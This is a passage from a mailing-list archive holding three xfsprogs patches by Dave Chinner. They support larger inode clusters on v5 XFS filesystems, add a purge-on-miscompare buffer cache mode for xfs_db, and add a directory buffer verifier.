1380510948-04cb6c153d159b780005-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id joLvF1hHvbn4Jtib for ; Sun, 29 Sep 2013 20:15:53 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAIfsSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJQEBBScvMwgYMTkDGxmIBbwMk3oDqXiDNio Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:45:50 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTxa-0006Pi-EW for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTxa-0002HV-Du for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 31/32] xfs: support larger inode clusters on v5 filesystems Date: Mon, 30 Sep 2013 13:15:43 +1000 X-ASG-Orig-Subj: [PATCH 31/32] xfs: support larger inode clusters on v5 filesystems Message-Id: <1380510944-8571-32-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510944-8571-1-git-send-email-david@fromorbit.com> References: <1380510944-8571-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510953 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner To allow the kernel to use larger inode clusters than the standard 8192 bytes, we need to set the inode alignment fields appropriately so that the kernel is consistent in it's inode to buffer mappings. We set the alignment to allow a constant 32 inodes per cluster, instead of a fixed 8k cluster size. Signed-off-by: Dave Chinner --- include/libxfs.h | 2 +- mkfs/xfs_mkfs.c | 5 ++++- repair/sb.c | 41 ++++++++++++++++++++++++++++------------- 3 files changed, 33 insertions(+), 15 deletions(-) diff --git a/include/libxfs.h b/include/libxfs.h index 049b217..9d7c579 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -182,7 +182,7 @@ typedef struct xfs_mount { __uint8_t m_sectbb_log; /* sectorlog - BBSHIFT */ __uint8_t m_agno_log; /* log #ag's */ __uint8_t m_agino_log; /* #bits for agino in inum */ - __uint16_t m_inode_cluster_size;/* min inode buf size */ + uint m_inode_cluster_size;/* min inode buf size */ uint m_blockmask; /* sb_blocksize-1 */ uint m_blockwsize; /* sb_blocksize in words */ uint m_blockwmask; /* blockwsize-1 */ diff --git a/mkfs/xfs_mkfs.c b/mkfs/xfs_mkfs.c index 60e4d88..feb5bd0 100644 --- a/mkfs/xfs_mkfs.c +++ b/mkfs/xfs_mkfs.c @@ -2501,7 +2501,10 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), } else sbp->sb_logsunit = 0; if (iaflag) { - sbp->sb_inoalignmt = XFS_INODE_BIG_CLUSTER_SIZE >> blocklog; + int cluster_size = XFS_INODE_BIG_CLUSTER_SIZE; + if (crcs_enabled) + cluster_size *= isize / XFS_DINODE_MIN_SIZE; + sbp->sb_inoalignmt = cluster_size >> blocklog; iaflag = sbp->sb_inoalignmt != 0; } else sbp->sb_inoalignmt = 0; diff --git a/repair/sb.c b/repair/sb.c index e2f5933..86404ce 100644 --- a/repair/sb.c +++ b/repair/sb.c @@ -169,17 +169,37 @@ find_secondary_sb(xfs_sb_t *rsb) } /* - * calculate what inode alignment field ought to be - * based on internal superblock info + * Calculate what inode alignment field ought to be + * based on internal superblock info and determine if it is valid. + * + * For v5 superblocks, the inode alignment will either match that of the + * standard XFS_INODE_BIG_CLUSTER_SIZE, or it will be scaled based on the inode + * size. Either value is valid in this case. + * + * Return true if the alignment is valid, false otherwise. */ -static int -calc_ino_align(xfs_sb_t *sb) +static bool +sb_validate_ino_align(struct xfs_sb *sb) { - xfs_extlen_t align; + xfs_extlen_t align; + if (!xfs_sb_version_hasalign(sb)) + return true; + + /* standard cluster size alignment is always valid */ align = XFS_INODE_BIG_CLUSTER_SIZE >> sb->sb_blocklog; + if (align == sb->sb_inoalignmt) + return true; + + /* alignment scaled by inode size is v5 only for now */ + if (!xfs_sb_version_hascrc(sb)) + return false; - return(align); + align *= sb->sb_inodesize / XFS_DINODE_MIN_SIZE; + if (align == sb->sb_inoalignmt) + return true; + + return false; } /* @@ -228,7 +248,6 @@ int verify_sb(xfs_sb_t *sb, int is_primary_sb) { __uint32_t bsize; - xfs_extlen_t align; int i; /* check magic number and version number */ @@ -364,12 +383,8 @@ verify_sb(xfs_sb_t *sb, int is_primary_sb) /* * verify correctness of inode alignment if it's there */ - if (xfs_sb_version_hasalign(sb)) { - align = calc_ino_align(sb); - - if (align != sb->sb_inoalignmt) - return(XR_BAD_INO_ALIGN); - } + if (!sb_validate_ino_align(sb)) + return(XR_BAD_INO_ALIGN); /* * verify max. % of inodes (sb_imax_pct) -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:15:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A90DC7F85 for ; Sun, 29 Sep 2013 22:15:55 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6152C8F8035 for ; Sun, 29 Sep 2013 20:15:55 -0700 (PDT) X-ASG-Debug-ID: 1380510950-04bdf02f2115f0bc0003-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id HjgoRoU7FTeSdlFI for ; Sun, 29 Sep 2013 20:15:53 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAIfsSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJQEBBScvMwgYMTkDGxmIBbwMk3oDojiHQIM2Kg Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:45:49 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTxa-0006Pb-Cc for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTxa-0002HG-Bs for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 28/32] xfs_db: avoid libxfs buffer lookup warnings Date: Mon, 30 Sep 2013 13:15:40 +1000 X-ASG-Orig-Subj: [PATCH 28/32] xfs_db: avoid libxfs buffer lookup warnings Message-Id: <1380510944-8571-29-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510944-8571-1-git-send-email-david@fromorbit.com> References: <1380510944-8571-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510952 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner When we mount the filesystem inside xfs_db, libxfs is tasked with reading some information from disk, such as root inodes. Because libxfs does this inode reading, it uses inode cluster buffers to read the inodes. xfs_db, OTOH, just uses FSB sized buffers to read inodes, and hence xfs_db throws a warning when reading the root inode block like so: $ sudo xfs_db -c "sb 0" -c "p rootino" -c "inode 32" /dev/vda Version 5 superblock detected. xfsprogs has EXPERIMENTAL support enabled! Use of these features is at your own risk! rootino = 32 7f59f20e6740: Badness in key lookup (length) bp=(bno 0x20, len 8192 bytes) key=(bno 0x20, len 1024 bytes) $ There is another way this can happen, and that is dumping raw data from disk using either the "fsb NNN" or "daddr MMM" commands to dump untyped information. This is always read in sector or filesystem block units, and so will cause similar badness warnings. xfs_db is unique in the way it can read the same blocks with different lengths, so we really need a way to avoid having duplicate buffers in the cache. To handle this in a generic way, introduce a "purge on compare failure" feature to libxfs. What this feature does is instead of throwing a warning when a buffer miscompare occurs (e.g. due to a length mismatch), it purges the buffer that is in cache from the cache. We can do this safely in the context of xfs_db because it always writes back changes made to buffers before it releases the reference to the buffer. Hence we can purge buffers directly from the lookup code without having to worry about whether they are dirty or not. Doing this purge on miscompare operation avoids the problem that libxfs is currently warning about, and hence if the feature flag is set then we don't need to warn about miscompares any more. Hence the whole problem goes away entirely for xfs_db, without affecting any of the other users of libxfs based IO. Signed-off-by: Dave Chinner --- db/init.c | 1 + db/inode.c | 33 +++++++++++++++++++-- db/io.c | 4 ++- include/cache.h | 22 +++++++++++++- include/libxfs.h | 2 ++ libxfs/cache.c | 83 +++++++++++++++++++++++++++++++++++++++-------------- libxfs/init.c | 6 ++-- libxfs/rdwr.c | 30 ++++++++++--------- repair/xfs_repair.c | 4 +-- 9 files changed, 143 insertions(+), 42 deletions(-) diff --git a/db/init.c b/db/init.c index a9b357b..2b643f9 100644 --- a/db/init.c +++ b/db/init.c @@ -109,6 +109,7 @@ init( else x.dname = fsdevice; + x.bcache_flags = CACHE_MISCOMPARE_PURGE; if (!libxfs_init(&x)) { fputs(_("\nfatal error -- couldn't initialize XFS library\n"), stderr); diff --git a/db/inode.c b/db/inode.c index 4090855..24170ba 100644 --- a/db/inode.c +++ b/db/inode.c @@ -623,6 +623,14 @@ inode_u_symlink_count( (int)be64_to_cpu(dip->di_size) : 0; } +/* + * We are now using libxfs for our IO backend, so we should always try to use + * inode cluster buffers rather than filesystem block sized buffers for reading + * inodes. This means that we always use the same buffers as libxfs operations + * does, and that avoids buffer cache issues caused by overlapping buffers. This + * can be seen clearly when trying to read the root inode. Much of this logic is + * similar to libxfs_imap(). + */ void set_cur_inode( xfs_ino_t ino) @@ -632,6 +640,9 @@ set_cur_inode( xfs_agnumber_t agno; xfs_dinode_t *dip; int offset; + int numblks = blkbb; + xfs_agblock_t cluster_agbno; + agno = XFS_INO_TO_AGNO(mp, ino); agino = XFS_INO_TO_AGINO(mp, ino); @@ -644,6 +655,24 @@ set_cur_inode( return; } cur_agno = agno; + + if (mp->m_inode_cluster_size > mp->m_sb.sb_blocksize && + mp->m_inoalign_mask) { + xfs_agblock_t chunk_agbno; + xfs_agblock_t offset_agbno; + int blks_per_cluster; + + blks_per_cluster = mp->m_inode_cluster_size >> + mp->m_sb.sb_blocklog; + offset_agbno = agbno & mp->m_inoalign_mask; + chunk_agbno = agbno - offset_agbno; + cluster_agbno = chunk_agbno + + ((offset_agbno / blks_per_cluster) * blks_per_cluster); + offset += ((agbno - cluster_agbno) * mp->m_sb.sb_inopblock); + numblks = XFS_FSB_TO_BB(mp, blks_per_cluster); + } else + cluster_agbno = agbno; + /* * First set_cur to the block with the inode * then use off_cur to get the right part of the buffer. @@ -651,8 +680,8 @@ set_cur_inode( ASSERT(typtab[TYP_INODE].typnm == TYP_INODE); /* ingore ring update here, do it explicitly below */ - set_cur(&typtab[TYP_INODE], XFS_AGB_TO_DADDR(mp, agno, agbno), - blkbb, DB_RING_IGN, NULL); + set_cur(&typtab[TYP_INODE], XFS_AGB_TO_DADDR(mp, agno, cluster_agbno), + numblks, DB_RING_IGN, NULL); off_cur(offset << mp->m_sb.sb_inodelog, mp->m_sb.sb_inodesize); dip = iocur_top->data; iocur_top->ino_crc_ok = libxfs_dinode_verify(mp, ino, dip); diff --git a/db/io.c b/db/io.c index 7281148..123214d 100644 --- a/db/io.c +++ b/db/io.c @@ -104,8 +104,10 @@ pop_cur(void) dbprintf(_("can't pop anything from I/O stack\n")); return; } - if (iocur_top->bp) + if (iocur_top->bp) { libxfs_putbuf(iocur_top->bp); + iocur_top->bp = NULL; + } if (iocur_top->bbmap) { free(iocur_top->bbmap); iocur_top->bbmap = NULL; diff --git a/include/cache.h b/include/cache.h index 0c0a1c5..c5757d0 100644 --- a/include/cache.h +++ b/include/cache.h @@ -18,6 +18,25 @@ #ifndef __CACHE_H__ #define __CACHE_H__ +/* + * initialisation flags + */ +/* + * xfs_db always writes changes immediately, and so we need to purge buffers + * when we get a buffer lookup mismatch due to readin the same block with a + * different buffer configuration. + */ +#define CACHE_MISCOMPARE_PURGE (1 << 0) + +/* + * cache object campare return values + */ +enum { + CACHE_HIT, + CACHE_MISS, + CACHE_PURGE, +}; + #define HASH_CACHE_RATIO 8 /* @@ -82,6 +101,7 @@ struct cache_node { }; struct cache { + int c_flags; /* behavioural flags */ unsigned int c_maxcount; /* max cache nodes */ unsigned int c_count; /* count of nodes */ pthread_mutex_t c_mutex; /* node count mutex */ @@ -99,7 +119,7 @@ struct cache { unsigned int c_max; /* max nodes ever used */ }; -struct cache *cache_init(unsigned int, struct cache_operations *); +struct cache *cache_init(int, unsigned int, struct cache_operations *); void cache_destroy(struct cache *); void cache_walk(struct cache *, cache_walk_t); void cache_purge(struct cache *); diff --git a/include/libxfs.h b/include/libxfs.h index d28ac48..049b217 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -110,6 +110,8 @@ typedef struct { int dfd; /* data subvolume file descriptor */ int logfd; /* log subvolume file descriptor */ int rtfd; /* realtime subvolume file descriptor */ + int icache_flags; /* cache init flags */ + int bcache_flags; /* cache init flags */ } libxfs_init_t; #define LIBXFS_EXIT_ON_FAILURE 0x0001 /* exit the program if a call fails */ diff --git a/libxfs/cache.c b/libxfs/cache.c index 56b24e7..84d2860 100644 --- a/libxfs/cache.c +++ b/libxfs/cache.c @@ -38,6 +38,7 @@ static unsigned int cache_generic_bulkrelse(struct cache *, struct list_head *); struct cache * cache_init( + int flags, unsigned int hashsize, struct cache_operations *cache_operations) { @@ -53,6 +54,7 @@ cache_init( return NULL; } + cache->c_flags = flags; cache->c_count = 0; cache->c_max = 0; cache->c_hits = 0; @@ -289,6 +291,34 @@ cache_overflowed( return (cache->c_maxcount == cache->c_max); } + +static int +__cache_node_purge( + struct cache * cache, + struct cache_node * node) +{ + int count; + struct cache_mru * mru; + + pthread_mutex_lock(&node->cn_mutex); + count = node->cn_count; + if (count != 0) { + pthread_mutex_unlock(&node->cn_mutex); + return count; + } + mru = &cache->c_mrus[node->cn_priority]; + pthread_mutex_lock(&mru->cm_mutex); + list_del_init(&node->cn_mru); + mru->cm_count--; + pthread_mutex_unlock(&mru->cm_mutex); + + pthread_mutex_unlock(&node->cn_mutex); + pthread_mutex_destroy(&node->cn_mutex); + list_del_init(&node->cn_hash); + cache->relse(node); + return count; +} + /* * Lookup in the cache hash table. With any luck we'll get a cache * hit, in which case this will all be over quickly and painlessly. @@ -308,8 +338,10 @@ cache_node_get( struct cache_mru * mru; struct list_head * head; struct list_head * pos; + struct list_head * n; unsigned int hashidx; int priority = 0; + int purged = 0; hashidx = cache->hash(key, cache->c_hashsize); hash = cache->c_hash + hashidx; @@ -317,10 +349,26 @@ cache_node_get( for (;;) { pthread_mutex_lock(&hash->ch_mutex); - for (pos = head->next; pos != head; pos = pos->next) { + for (pos = head->next, n = pos->next; pos != head; + pos = n, n = pos->next) { + int result; + node = list_entry(pos, struct cache_node, cn_hash); - if (!cache->compare(node, key)) - continue; + result = cache->compare(node, key); + switch (result) { + case CACHE_HIT: + break; + case CACHE_PURGE: + if ((cache->c_flags & CACHE_MISCOMPARE_PURGE) && + !__cache_node_purge(cache, node)) { + purged++; + hash->ch_count--; + } + /* FALL THROUGH */ + case CACHE_MISS: + goto next_object; + } + /* * node found, bump node's reference count, remove it * from its MRU list, and update stats. @@ -347,6 +395,8 @@ cache_node_get( *nodep = node; return 0; +next_object: + continue; /* what the hell, gcc? */ } pthread_mutex_unlock(&hash->ch_mutex); /* @@ -375,6 +425,12 @@ cache_node_get( list_add(&node->cn_hash, &hash->ch_list); pthread_mutex_unlock(&hash->ch_mutex); + if (purged) { + pthread_mutex_lock(&cache->c_mutex); + cache->c_count -= purged; + pthread_mutex_unlock(&cache->c_mutex); + } + *nodep = node; return 1; } @@ -457,7 +513,6 @@ cache_node_purge( struct list_head * pos; struct list_head * n; struct cache_hash * hash; - struct cache_mru * mru; int count = -1; hash = cache->c_hash + cache->hash(key, cache->c_hashsize); @@ -468,23 +523,9 @@ cache_node_purge( if ((struct cache_node *)pos != node) continue; - pthread_mutex_lock(&node->cn_mutex); - count = node->cn_count; - if (count != 0) { - pthread_mutex_unlock(&node->cn_mutex); - break; - } - mru = &cache->c_mrus[node->cn_priority]; - pthread_mutex_lock(&mru->cm_mutex); - list_del_init(&node->cn_mru); - mru->cm_count--; - pthread_mutex_unlock(&mru->cm_mutex); - - pthread_mutex_unlock(&node->cn_mutex); - pthread_mutex_destroy(&node->cn_mutex); - list_del_init(&node->cn_hash); - hash->ch_count--; - cache->relse(node); + count = __cache_node_purge(cache, node); + if (!count) + hash->ch_count--; break; } pthread_mutex_unlock(&hash->ch_mutex); diff --git a/libxfs/init.c b/libxfs/init.c index 229aa50..637f29e 100644 --- a/libxfs/init.c +++ b/libxfs/init.c @@ -337,10 +337,12 @@ libxfs_init(libxfs_init_t *a) chdir(curdir); if (!libxfs_ihash_size) libxfs_ihash_size = LIBXFS_IHASHSIZE(sbp); - libxfs_icache = cache_init(libxfs_ihash_size, &libxfs_icache_operations); + libxfs_icache = cache_init(a->icache_flags, libxfs_ihash_size, + &libxfs_icache_operations); if (!libxfs_bhash_size) libxfs_bhash_size = LIBXFS_BHASHSIZE(sbp); - libxfs_bcache = cache_init(libxfs_bhash_size, &libxfs_bcache_operations); + libxfs_bcache = cache_init(a->bcache_flags, libxfs_bhash_size, + &libxfs_bcache_operations); use_xfs_buf_lock = a->usebuflock; manage_zones(0); rval = 1; diff --git a/libxfs/rdwr.c b/libxfs/rdwr.c index 8d8bcfc..6d6a915 100644 --- a/libxfs/rdwr.c +++ b/libxfs/rdwr.c @@ -323,20 +323,24 @@ libxfs_bcompare(struct cache_node *node, cache_key_t key) struct xfs_buf *bp = (struct xfs_buf *)node; struct xfs_bufkey *bkey = (struct xfs_bufkey *)key; -#ifdef IO_BCOMPARE_CHECK if (bp->b_target->dev == bkey->buftarg->dev && - bp->b_bn == bkey->blkno && - bp->b_bcount != BBTOB(bkey->bblen)) - fprintf(stderr, "%lx: Badness in key lookup (length)\n" - "bp=(bno 0x%llx, len %u bytes) key=(bno 0x%llx, len %u bytes)\n", - pthread_self(), - (unsigned long long)bp->b_bn, (int)bp->b_bcount, - (unsigned long long)bkey->blkno, BBTOB(bkey->bblen)); + bp->b_bn == bkey->blkno) { + if (bp->b_bcount == BBTOB(bkey->bblen)) + return CACHE_HIT; +#ifdef IO_BCOMPARE_CHECK + if (!(libxfs_bcache->c_flags & CACHE_MISCOMPARE_PURGE)) { + fprintf(stderr, + "%lx: Badness in key lookup (length)\n" + "bp=(bno 0x%llx, len %u bytes) key=(bno 0x%llx, len %u bytes)\n", + pthread_self(), + (unsigned long long)bp->b_bn, (int)bp->b_bcount, + (unsigned long long)bkey->blkno, + BBTOB(bkey->bblen)); + } #endif - - return (bp->b_target->dev == bkey->buftarg->dev && - bp->b_bn == bkey->blkno && - bp->b_bcount == BBTOB(bkey->bblen)); + return CACHE_PURGE; + } + return CACHE_MISS; } void @@ -1029,7 +1033,7 @@ libxfs_icompare(struct cache_node *node, cache_key_t key) { xfs_inode_t *ip = (xfs_inode_t *)node; - return (ip->i_ino == *(xfs_ino_t *)key); + return (ip->i_ino == *(xfs_ino_t *)key) ? CACHE_HIT : CACHE_MISS; } int diff --git a/repair/xfs_repair.c b/repair/xfs_repair.c index 820e7a2..55a451b 100644 --- a/repair/xfs_repair.c +++ b/repair/xfs_repair.c @@ -712,9 +712,9 @@ main(int argc, char **argv) if (!ihash_option_used) libxfs_ihash_size = libxfs_bhash_size; - libxfs_icache = cache_init(libxfs_ihash_size, + libxfs_icache = cache_init(0, libxfs_ihash_size, &libxfs_icache_operations); - libxfs_bcache = cache_init(libxfs_bhash_size, + libxfs_bcache = cache_init(0, libxfs_bhash_size, &libxfs_bcache_operations); } -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:15:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4DCC97F86 for ; Sun, 29 Sep 2013 22:15:55 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 223268F8039 for ; Sun, 29 Sep 2013 20:15:55 -0700 (PDT) X-ASG-Debug-ID: 1380510949-04bdf05387682360004-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id IEh6rXYRw1D3pWbN for ; Sun, 29 Sep 2013 20:15:53 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAIfsSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJQEBBScvMwgYMTkDGxmIBbwMjgaFdAOpeIM2KoEs Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:45:50 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTxa-0006PU-AK for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTxa-0002Gw-9Y for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:15:46 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 24/32] db: add a special directory buffer verifier Date: Mon, 30 Sep 2013 13:15:36 +1000 X-ASG-Orig-Subj: [PATCH 24/32] db: add a special directory buffer verifier Message-Id: <1380510944-8571-25-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510944-8571-1-git-send-email-david@fromorbit.com> References: <1380510944-8571-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510953 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Because we only have a single directory type that is used for all the different buffer types, we need to provide a special verifier for the read code. That verifier needs to know all the directory types and when it find one it knows about, switch to the correct verifier and call it. We already do this for certain readahead cases in the directory code, so there is precedence for this. If we don't find a magic number we recognise, the verifier fails... Signed-off-by: Dave Chinner --- db/dir2.c | 61 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ db/dir2.h | 2 ++ db/type.c | 3 ++- 3 files changed, 65 insertions(+), 1 deletion(-) diff --git a/db/dir2.c b/db/dir2.c index 2ec64e0..5a10955 100644 --- a/db/dir2.c +++ b/db/dir2.c @@ -24,6 +24,7 @@ #include "field.h" #include "dir2.h" #include "init.h" +#include "output.h" static int dir2_block_hdr_count(void *obj, int startoff); static int dir2_block_leaf_count(void *obj, int startoff); @@ -975,3 +976,63 @@ const field_t da3_node_hdr_flds[] = { { "pad", FLDT_UINT32D, OI(H3OFF(__pad32)), C1, 0, TYP_NONE }, { NULL } }; + +/* + * Special read verifier for directory buffers. detect the magic number + * appropriately and set the correct verifier and call it. + */ +static void +xfs_dir3_db_read_verify( + struct xfs_buf *bp) +{ + __be32 magic32; + __be16 magic16; + + magic32 = *(__be32 *)bp->b_addr; + magic16 = ((struct xfs_da_blkinfo *)bp->b_addr)->magic; + + switch (magic32) { + case cpu_to_be32(XFS_DIR3_BLOCK_MAGIC): + bp->b_ops = &xfs_dir3_block_buf_ops; + goto verify; + case cpu_to_be32(XFS_DIR3_DATA_MAGIC): + bp->b_ops = &xfs_dir3_data_buf_ops; + goto verify; + case cpu_to_be32(XFS_DIR3_FREE_MAGIC): + bp->b_ops = &xfs_dir3_free_buf_ops; + goto verify; + default: + break; + } + + switch (magic16) { + case cpu_to_be16(XFS_DIR3_LEAF1_MAGIC): + bp->b_ops = &xfs_dir3_leaf1_buf_ops; + break; + case cpu_to_be16(XFS_DIR3_LEAFN_MAGIC): + bp->b_ops = &xfs_dir3_leafn_buf_ops; + break; + case cpu_to_be16(XFS_DA3_NODE_MAGIC): + bp->b_ops = &xfs_da3_node_buf_ops; + break; + default: + dbprintf(_("Unknown directory buffer type!\n")); + xfs_buf_ioerror(bp, EFSCORRUPTED); + return; + } +verify: + bp->b_ops->verify_read(bp); +} + +static void +xfs_dir3_db_write_verify( + struct xfs_buf *bp) +{ + dbprintf(_("Writing unknown directory buffer type!\n")); + xfs_buf_ioerror(bp, EFSCORRUPTED); +} + +const struct xfs_buf_ops xfs_dir3_db_buf_ops = { + .verify_read = xfs_dir3_db_read_verify, + .verify_write = xfs_dir3_db_write_verify, +}; diff --git a/db/dir2.h b/db/dir2.h index b3651d5..5054493 100644 --- a/db/dir2.h +++ b/db/dir2.h @@ -60,3 +60,5 @@ static inline xfs_dir2_inou_t *xfs_dir2_sf_inumberp(xfs_dir2_sf_entry_t *sfep) extern int dir2_data_union_size(void *obj, int startoff, int idx); extern int dir2_size(void *obj, int startoff, int idx); + +extern const struct xfs_buf_ops xfs_dir3_db_buf_ops; diff --git a/db/type.c b/db/type.c index b3f3d87..2c3431e 100644 --- a/db/type.c +++ b/db/type.c @@ -87,7 +87,8 @@ static const typ_t __typtab_crc[] = { { TYP_CNTBT, "cntbt", handle_struct, cntbt_crc_hfld, &xfs_allocbt_buf_ops }, { TYP_DATA, "data", handle_block, NULL, NULL }, - { TYP_DIR2, "dir3", handle_struct, dir3_hfld, NULL }, + { TYP_DIR2, "dir3", handle_struct, dir3_hfld, + &xfs_dir3_db_buf_ops }, { TYP_DQBLK, "dqblk", handle_struct, dqblk_hfld, &xfs_dquot_buf_ops }, { TYP_INOBT, "inobt", handle_struct, inobt_crc_hfld, -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:15:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 700E67F96 for ; Sun, 29 Sep 2013 22:15:56 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 310D08F8039 for ; Sun, 29 Sep 2013 20:15:56 -0700 (PDT) X-ASG-Debug-ID: 1380510949-04bdf05387682360005-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id UzFCgVgdlowhzCnM for ; Sun, 29 Sep 2013 20:15:54 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAIfsSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJQEBBScvMwgYMTkDGxmIBbwMj26EDAOpeIM2Kg Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:45:50 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with 